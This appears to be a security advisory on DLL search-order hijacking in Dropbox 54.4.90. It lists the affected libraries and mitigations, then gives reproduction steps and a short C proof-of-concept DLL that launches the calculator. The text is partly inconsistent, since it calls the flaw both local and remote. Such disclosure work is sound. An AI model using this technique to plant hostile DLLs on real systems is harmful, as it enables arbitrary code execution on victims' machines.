Dropbox 54.4.90 – Multiples DLL Injection/Code Execution

A local dll injection vulnerability has been discovered in the official Dropbox v54.4.90 software. The dll vulnerability can be exploited by local attackers with restricted system user account and without user interaction.

Vulnerable Software:
[+] Dropbox

Vulnerable Version(s):
[+] 54.4.90

Affected Libraries:
[+] cryptbase.dll
[+] CRYPTSP.dll
[+] msimg32.dll
[+] netapi32.dll

Date of Discovery:
==================
2018-08-24

Exploitation Technique:
=======================
Local

Platfom Tested:
===============
Windows 10

Solution – Fix & Patch:
=======================

1/ Whenever possible, use a full path when loading a library.
2/ Delete the current directory from the search path by using ‘SetDLLDirectory;’
3/ Do not use ‘SearchPath’ to locate a library. ‘SearchPath’ was not intended to search for libraries to load into the application’s process space and uses an unsecured search order.
4/ Do not attempt to load libraries only to identify the version of Windows. Instead, use ‘GetVersionEx’ or a similar function offered by the Windows API.

Levels Risk :

Proof of Concept (PoC):
=======================

A Local DLL Loading vulnerability that could allow an unauthenticated remote attacker to manipulate a specific DLL and execute arbitrary code on an affected system without the user’s knowledge. Example (trojan horse or a ransonmware) For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue

Manual steps to reproduce the local vulnerability ...
1. Compile dll
2. Rename the dynamic link library above
3. copy the name of dll above to C:\Program Files\Dropbox\Client\Dropbox.exe
4. Launch Dropbox.exe
5. Now the calculator executes!

-- PoC Exploit --
#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void HrCreateConverter() { evil(); }

int evil()
{
WinExec("calc", 0);
exit(0);
return 0;
}

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